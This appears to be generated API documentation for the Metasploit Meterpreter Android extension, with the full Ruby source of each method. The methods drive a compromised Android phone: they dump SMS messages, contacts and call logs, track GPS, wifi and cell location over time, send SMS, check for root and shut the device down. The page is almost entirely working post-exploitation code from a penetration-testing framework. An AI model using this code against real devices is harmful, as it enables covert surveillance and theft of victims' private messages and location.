Class: Rex::Post::Meterpreter::Extensions::Android::Android

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/android/android.rb

Overview

Android extension - set of commands to be executed on android devices. extension by Anwar Mohamed (@anwarelmakrahy)

Constant Summary collapse

COLLECT_TYPE_WIFI =
1
COLLECT_TYPE_GEO =
2
COLLECT_TYPE_CELL =
3
COLLECT_ACTION_START =
1
COLLECT_ACTION_PAUSE =
2
COLLECT_ACTION_RESUME =
3
COLLECT_ACTION_STOP =
4
COLLECT_ACTION_DUMP =
5
COLLECT_TYPES =
{
  'wifi' => COLLECT_TYPE_WIFI,
  'geo'  => COLLECT_TYPE_GEO,
  'cell' => COLLECT_TYPE_CELL,
}
COLLECT_ACTIONS =
{
  'start'  => COLLECT_ACTION_START,
  'pause'  => COLLECT_ACTION_PAUSE,
  'resume' => COLLECT_ACTION_START,
  'stop'   => COLLECT_ACTION_STOP,
  'dump'   => COLLECT_ACTION_DUMP
}

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Android

Returns a new instance of Android.



46
47
48
49
50
51
52
53
54
55
56
57
58
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 46

def initialize(client)
  super(client, 'android')

  # Alias the following things on the client object so that they
  # can be directly referenced
  client.register_extension_aliases(
    [
      {
        'name' => 'android',
        'ext'  => self
      }
    ])
end

Instance Method Details

#activity_start(uri) ⇒ Object



251
252
253
254
255
256
257
258
259
260
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 251

def activity_start(uri)
  request = Packet.create_request('activity_start')
  request.add_tlv(TLV_TYPE_URI_STRING, uri)
  response = client.send_request(request)
  if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value
    return nil
  else
    return response.get_tlv(TLV_TYPE_ACTIVITY_START_ERROR).value
  end
end

#check_rootObject



245
246
247
248
249
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 245

def check_root
  request = Packet.create_request('check_root')
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
end

#collect_actionsObject



60
61
62
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 60

def collect_actions
  return @@collect_action_list ||= COLLECT_ACTIONS.keys
end

#collect_typesObject



64
65
66
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 64

def collect_types
  return @@collect_type_list ||= COLLECT_TYPES.keys
end

#device_shutdown(n) ⇒ Object



68
69
70
71
72
73
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 68

def device_shutdown(n)
  request = Packet.create_request('device_shutdown')
  request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
  response = client.send_request(request)
  response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
end

#dump_calllogObject



228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 228

def dump_calllog
  log = []
  request = Packet.create_request('dump_calllog')
  response = client.send_request(request)

  response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
    log << {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
      'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
      'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
    }
  end
  log
end

#dump_contactsObject



200
201
202
203
204
205
206
207
208
209
210
211
212
213
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 200

def dump_contacts
  contacts = []
  request = Packet.create_request('dump_contacts')
  response = client.send_request(request)

  response.each(TLV_TYPE_CONTACT_GROUP) do |p|
    contacts << {
      'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
      'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
      'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
    }
  end
  contacts
end

#dump_smsObject



183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 183

def dump_sms
  sms = []
  request = Packet.create_request('dump_sms')
  response = client.send_request(request)

  response.each(TLV_TYPE_SMS_GROUP) do |p|
    sms << {
      'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
      'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
      'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
      'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
      'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
    }
  end
  sms
end

#geolocateObject



215
216
217
218
219
220
221
222
223
224
225
226
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 215

def geolocate
  loc = []
  request = Packet.create_request('geolocate')
  response = client.send_request(request)

  loc << {
    'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
    'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
  }

  loc
end

#interval_collect(opts) ⇒ Object



81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 81

def interval_collect(opts)
  request = Packet.create_request('interval_collect')
  request.add_tlv(TLV_TYPE_COLLECT_ACTION, COLLECT_ACTIONS[opts[:action]])
  request.add_tlv(TLV_TYPE_COLLECT_TYPE, COLLECT_TYPES[opts[:type]])
  request.add_tlv(TLV_TYPE_COLLECT_TIMEOUT, opts[:timeout])
  response = client.send_request(request)

  result = {
    headers:     [],
    collections: []
  }

  case COLLECT_TYPES[opts[:type]]
  when COLLECT_TYPE_WIFI
    result[:headers] = ['Last Seen', 'BSSID', 'SSID', 'Level']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_WIFI) do |w|
        bssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_BSSID)
        ssid = w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_SSID)
        key = "#{bssid}-#{ssid}"

        if !records.include?(key) || records[key][0] < timestamp
          # Level is passed through as positive, because UINT
          # but we flip it back to negative on this side
          level = -w.get_tlv_value(TLV_TYPE_COLLECT_RESULT_WIFI_LEVEL)
          records[key] = [timestamp, bssid, ssid, level]
        end
      end
    end

    records.each do |k, v|
      result[:entries] << v
    end

  when COLLECT_TYPE_GEO
    result[:headers] = ['Timestamp', 'Latitude', 'Longitude']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_GEO) do |w|
        lat = w.get_tlv_value(TLV_TYPE_GEO_LAT)
        lng = w.get_tlv_value(TLV_TYPE_GEO_LONG)
        result[:entries] << [timestamp, lat, lng]
      end
    end

  when COLLECT_TYPE_CELL
    result[:headers] = ['Timestamp', 'Cell Info']
    result[:entries] = []
    records = {}

    response.each(TLV_TYPE_COLLECT_RESULT_GROUP) do |g|
      timestamp = g.get_tlv_value(TLV_TYPE_COLLECT_RESULT_TIMESTAMP)
      timestamp = Time.at(timestamp).to_datetime.strftime('%Y-%m-%d %H:%M:%S')

      g.each(TLV_TYPE_COLLECT_RESULT_CELL) do |cell|

        cell.each(TLV_TYPE_CELL_ACTIVE_GSM) do |info|
          cid = info.get_tlv_value(TLV_TYPE_CELL_CID)
          lac = info.get_tlv_value(TLV_TYPE_CELL_LAC)
          psc = info.get_tlv_value(TLV_TYPE_CELL_PSC)
          info = sprintf("cid=%d lac=%d psc=%d", cid, lac, psc)
          result[:entries] << [timestamp, "GSM: #{info}"]
        end

        cell.each(TLV_TYPE_CELL_ACTIVE_CDMA) do |info|
          bid = info.get_tlv_value(TLV_TYPE_CELL_BASE_ID)
          lat = info.get_tlv_value(TLV_TYPE_CELL_BASE_LAT)
          lng = info.get_tlv_value(TLV_TYPE_CELL_BASE_LONG)
          net = info.get_tlv_value(TLV_TYPE_CELL_NET_ID)
          sys = info.get_tlv_value(TLV_TYPE_CELL_SYSTEM_ID)
          info = sprintf("base_id=%d lat=%d lng=%d net_id=%d sys_id=%d", bid, lat, lng, net, sys)
          result[:entries] << [timestamp, "CDMA: #{info}"]
        end

        cell.each(TLV_TYPE_CELL_NEIGHBOR) do |w|
          net = w.get_tlv_value(TLV_TYPE_CELL_NET_TYPE)
          cid = w.get_tlv_value(TLV_TYPE_CELL_CID)
          lac = w.get_tlv_value(TLV_TYPE_CELL_LAC)
          psc = w.get_tlv_value(TLV_TYPE_CELL_PSC)
          sig = w.get_tlv_value(TLV_TYPE_CELL_RSSI) * -1
          inf = sprintf("network_type=%d cid=%d lac=%d psc=%d rssi=%d", net, cid, lac, psc, sig)
          result[:entries] << [timestamp, inf]
        end

      end
    end
  end

  result
end

#send_sms(dest, body, dr) ⇒ Object



268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 268

def send_sms(dest, body, dr)
  request = Packet.create_request('send_sms')
  request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
  request.add_tlv(TLV_TYPE_SMS_BODY, body)
  request.add_tlv(TLV_TYPE_SMS_DR, dr)
  if dr == false
    response = client.send_request(request)
    sr = response.get_tlv(TLV_TYPE_SMS_SR).value
    return sr
  else
    response = client.send_request(request, 30)
    sr = response.get_tlv(TLV_TYPE_SMS_SR).value
    dr = response.get_tlv(TLV_TYPE_SMS_SR).value
    return [sr, dr]
  end
end

#set_audio_mode(n) ⇒ Object



75
76
77
78
79
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 75

def set_audio_mode(n)
  request = Packet.create_request('set_audio_mode')
  request.add_tlv(TLV_TYPE_AUDIO_MODE, n)
  response = client.send_request(request)
end

#set_wallpaper(data) ⇒ Object



262
263
264
265
266
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 262

def set_wallpaper(data)
  request = Packet.create_request('set_wallpaper')
  request.add_tlv(TLV_TYPE_WALLPAPER_DATA, data)
  response = client.send_request(request)
end

#wlan_geolocateObject



285
286
287
288
289
290
291
292
293
294
295
296
297
# File 'lib/rex/post/meterpreter/extensions/android/android.rb', line 285

def wlan_geolocate
  request = Packet.create_request('wlan_geolocate')
  response = client.send_request(request, 30)
  networks = []
  response.each(TLV_TYPE_WLAN_GROUP) do |p|
    networks << {
      'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
      'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
      'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
    }
  end
  networks
end